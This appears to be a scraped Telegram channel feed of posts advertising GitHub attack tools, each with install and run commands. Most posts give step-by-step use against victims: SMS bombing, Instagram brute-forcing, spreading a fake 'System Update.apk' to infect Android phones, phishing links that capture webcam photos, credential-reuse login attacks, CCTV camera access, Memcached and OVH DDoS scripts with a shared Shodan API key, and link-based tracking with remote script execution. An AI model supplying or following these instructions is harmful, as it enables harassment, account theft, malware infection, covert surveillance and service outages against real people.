Github tools
2.74K subscribers
33 photos
2 videos
58 files
366 links
Github useful scripts and tools
Download Telegram
New SMS Call Bomber

SMS-bomber is a program or service designed to send bulk messages to a given number. In fact, the user unexpectedly gets a ton of inboxes. Many companies send SMS with a confirmation code, which the subscriber, of course, did not ask for.

Installation:
$ apt update && apt upgrade -y
$ pkg install git -y
$ git clone https://github.com/anubhavanonymous/XLR8_BOMBER
$ cd XLR8_BOMBER

Usage:

$ bash xlr8.sh

To launch the attack, you should select option 1 for SMS. Next, you will need to enter a phone number. After you enter the phone number and press the "Enter" key, the SMS will start sending, and if you want to stop it, just press CTRL + C on your keyboard.
Create an html page with a fake message about a hacked resource

Sometimes you need to brainwash the interlocutor and impress him with hacking skills. This is where DefGen comes in handy.

Installation

$ termux-setup-storage
$ pkg update -y && pkg upgrade
$ -y; pkg install python2
$ git clone https://github.com/Err0r-ICA/Def
Gen
$ cd Def
Gen

Run
ning

$ python2 De
fGen

The result can be seen in the screenshot below ✌️
How to hack Instagram in a few clicks?

In this post, we will talk about carrying out an attack on an account on the Instagram social network by brute-force password brute-force. Even an ordinary schoolboy can carry out this attack.

To carry out such an attack, it is enough to follow a simple instruction:

Installation:
$ git clone https://github.com/tiptoettt/instashell
$ cd instashell
$ chmod + x instashell.sh

Usage:

$ service tor start
$ ./instashell.sh

Next, enter the Username of your Instagram account and the path to the password dictionary.
We infect any Android device!

Infection occurs by reference. The hacker creates a link, throws it to the victim, it goes and the System Update.apk file is downloaded to the victim's device. After installing this software, Androyd victims will begin to be destroyed. Let's get started creating a link!

◾️ apt-get update -y
◾️ apt-get upgrade -y
◾️ pkg install python -y
◾️ pkg install python2 -y
◾️ pkg install git -y
◾️ git clone https://github.com/noob-hackers/infect
◾️ cd $ HOME
◾️ ls
◾️ cd infect
◾️ ls
◾️ bash infect.sh
Comprehensive toolbox

WannaTool is a collection of a wide variety of hacker tools. Includes call spam script, WhatsApp spam, DDos and much more, such as a snake game.

Installation

$ apt upgrade -y
$ apt update -y
$ git clone https://github.com/Err0r-ICA/WannaTool
$ cd WannaTool
$ chmod + x *

Running

$ bash WannaTool
Santet-Online in Termux

Today I will show you one very excellent utility with which you can use tools such as: DDOS, WEB HACK, WIFI HACK.

Santet-Online is a social engineering tool with a subfunction that focuses on attacks against people with social needs such as social networking services and short messaging services.

Installation:
$ pkg update
$ pkg upgrade
$ pkg install git python
$ git clone https://github.com/Gameye98/santet-online
$ cd santet-online
$ python -m pip install -r requirements.txt

Launch:
$ python santet.py
A tool to attack using leaked credentials

Cr3d0v3r is the best friend in credential reuse attacks. The utility automatically checks passwords for the credentials of leaked victims.

You can also specify a username and password, then instantly enter them on several popular websites (for example, Facebook, Twitter, Google, etc.) and get a report on which resources it was possible to authorize on.

Installation

$ git clone https://github.com/D4Vinci/Cr3dOv3r.git
$ cd Cr3dOv3r
$ python2 -m pip install -r requirements.txt

Usage

$ python2 Cr3d0v3r.py -h

Strictly for informational purposes only ✌️
Hacking a webcam using a phishing attack

It is worth warning in advance that we have already published similar tools. Nevertheless, this utility has a wide variety of phishing link configuration, port forwarding and google bypass.

Seeu is a bash script to hack device cameras using portforwarding and google bypass functions.

Installation

$ apt-get update -y
$ apt-get upgrade -y
$ termux-setup-storage
$ pkg install curl -y
$ pkg install wget -y
$ pkg install git -y
$ pkg install php -y
$ git clone https://github.com/noob-hackers/seeu
$ cd $ HOME
$ ls
$ cd seeu
$ ls

Running

$ bash seeu.sh

We will open a menu, press the number 1 and proceed to setting up a phishing page. Next, select the type of phishing link, generate it and launch it. We drop the link to the victim and after she clicks on it, we will get her photo in the folder with the script.
Scanning the transaction history at the Bitcoin wallet address

Orbit is a blockchain transaction investigation tool. It is designed to explore the blockchain wallet network by recursively scanning the transaction history. The data is displayed as a graph.

Installation

$ git clone https://github.com/s0md3v/Orbit
$ cd Orbit

Usage

$ python3 orbit.py -s (btc address)
Watching iOS devices!

Many people say that IOS is a very secure operating system and it is not realistic to find any vulnerabilities or hack it. And if I tell you what else is real and it is done very simply by installing one utility. After installing it, you can see the movements of any Apple device, thanks to the ARP packets they "emit". Let's get started with the installation!

Installation:
◾️ sudo apt-get install python3-scapy
◾️ git clone https://github.com/hubert3/iSniff-GPS.git
◾️ cd iSniff-GPS /
◾️ pip install -U -r requirements.txt

Usage:
◾️ ./manage.py runserver 127.0.0.1:8000 &
◾️ ./run.sh -i wlan0
How to determine the location of a person from a photograph

Good evening friends. As you know, many interesting things are stored in the metadata: camera type, phone model, name, photo changes, but the most interesting thing is the shooting location. Now I will show you another interesting way of punching a person from a photo. We need Termux.

1. Download the required packages
$ apt update && apt upgrade -y && pkg install exiftool -y
2. Give Termux permission to view the device memory
$ termux-setup-storage
3. We look at the metadata of the photo with which we are in the same directory
$ exiftool filename.jpg

Next, we look for the GPS Position item, where we change "deg" to "°". Next, go to Google Maps and insert the obtained coordinates into the search. As a result, you will get the exact location where the photo was taken.
How hackers can hack webcams with Termux

Friends, today you will learn how hackers using a special program can get access to CCTV cameras.

Installation:

$ apt install python3
$ apt install git
$ git clone https://github.com/yan4ikyt/webhack
$ cd webhack
$ bash install.sh

Usage

$ python WebHack.py

After entering this command, select the country and the utility will give us IP cameras. Now you can paste the received IPs into the browser and view
Hacking cameras via Termux

CCTV - a comprehensive utility for hacking webcams

Installation:

▪️git clone https://github.com/Err0r-ICA/CCTV.git
▪️cd CCTV
▪️python2 CCTV

After that, you will need to select a region, and the program will issue addresses and passwords.
Hacking a webcam using a phishing attack

It is worth noting in advance that we have already published similar tools. However, this utility has a wide variety of settings for phishing links, port forwarding and bypassing Google.

Seeu is a bash-based script for hacking device cameras using portforwarding and google bypass functions.

Installation

$ apt-get update -y
$ apt-get upgrade -y
$ termux-setup-storage
$ pkg install curl -y
$ pkg install wget -y
$ pkg install git -y
$ pkg install php -y
$ git clone https://github.com/noob-hackers/seeu
$ cd see

launch

$ bash seeu.sh

We will open a menu, press the number 1 and proceed to setting up a phishing page. Next, select the type of phishing link, generate it and run it. We throw off the link to the victim and after she clicks on it, we will receive her photo in the folder with the script.
​Memcrashed - the most powerful DDoS

Memcrashed is a tool that allows you to use Shodan.io to get hundreds of vulnerable Memcached servers.

The default payload includes the memcached "stats" command, 10 bytes to send, but the response is between 1500 bytes and hundreds of kilobytes. The consequences and power are amazing - on February 28, 2018, a 1.35 TB/s attack occurred on GitHub.com.

Installation:

• git clone https://github.com/649/Memcrashed-DDoS-Exploit.git
• pip install shodan
• pip install scapy
• pip install -r requirements.txt
• cd /Memcrashed-DDoS-Exploit

Usage:

• python3 Memcrashed.py

Memcrashed asks for a valid ApiKey. You can try to search it on GitHub by: api key & ApiKey & ApiKey Shodan.

But there is also a small gift for you, the working key "PSKINdQe1GyxGgecYz2191H2JoS9qvgD"
DDos attack via Termux

DDoS attacks (Distributed Denial of Service - distributed denial of service attacks) are attacks on computer systems (network resources or communication channels) aimed at making them inaccessible to legitimate users.

Installation:

▪️apt update & apt upgrade -y && pkg install python git -y
▪️git clone https://github.com/HardyTomas/DDos-Attack-OVH-
▪️cd DDos-Attack-OVH-
▪️pip install toripchanger
▪️pip install -r requirements.txt

Usage:

▪️python80port.py

Also, you can attack on port 443 (https)

▪️python443port.py
Finding website vulnerabilities

XAttacker - created for the lazy and inquisitive, with it you can not only find out what engine the site is on, but also find out its vulnerabilities, as well as get links to these vulnerabilities.

Installation

$ apt install git
$ git clone https://github.com/Moham3dRiahi/XAttacker.git
$ cd
$ chmod +x termux-install.sh
$ bash termux-install.sh

Usage

$ perl XAttacker.pl - launch;
$ perl XAttacker.pl -l list.txt - if there is a list of websites;
$ perl XAttacker.pl -multi - enable multithreading;
Follow the victim with a link

Trape is an OSINT tool that allows you to monitor and execute social engineering attacks in real time.

The utility creates a phishing link that allows you to follow the user who clicks on it. Thanks to this tool, you can get information such as: IP, geolocation, OS. You can also run js scripts remotely, upload files to a PC. It will be possible to find out on which services the user is registered.

Installation

$ apt update -y
$ apt upgrade -y
$ apt install python
$ apt install git
$ git clone https://github.com/jofpin/trape.git

launch

$ cd tape
$ pip3 install -r requirements.txt
$ python3 trape.py --url <link to any page> --port 8080

Usage

$ python3 trape.py --url http://example.com --port 8080
​Install 340 useful utilities with one click

Sashay is a script that gives you the ability to automatically install 340 basic Linux tools with which you can upgrade your "skills".

Categories:
- DDOS attacks
- Brute force attacks
- Scan websites for vulnerabilities
- OSINT tools
- Sniffing
- and a couple of other useful programs.

Installation:
• git clone https://github.com/viewerdiscretion/sashay.git
• cd sashay
• chmod +x install

Launch:
• sh install

To run at any time use the sshy command
Hacking a webcam using a phishing attack

It is worth noting in advance that we have already published similar tools. However, this utility has a wide variety of settings for phishing links, port forwarding and bypassing Google.

Seeu is a bash-based script for hacking device cameras using portforwarding and google bypass functions.

Installation

$ apt-get update -y
$ apt-get upgrade -y
$ termux-setup-storage
$ pkg install curl -y
$ pkg install wget -y
$ pkg install git -y
$ pkg install php -y
$ git clone https://github.com/noob-hackers/seeu
$ cd see

launch

$ bash seeu.sh

We will open a menu, press the number 1 and proceed to setting up a phishing page. Next, select the type of phishing link, generate it and run it. We throw off the link to the victim and after she clicks on it, we will receive her photo in the folder with the script.
Script for sms attacks

MySMS v1.0 is a script that generates an Android application with the functionality of SMS attacks over WAN. For Kali Linux users.
https://github.com/papusingh2sms/mysms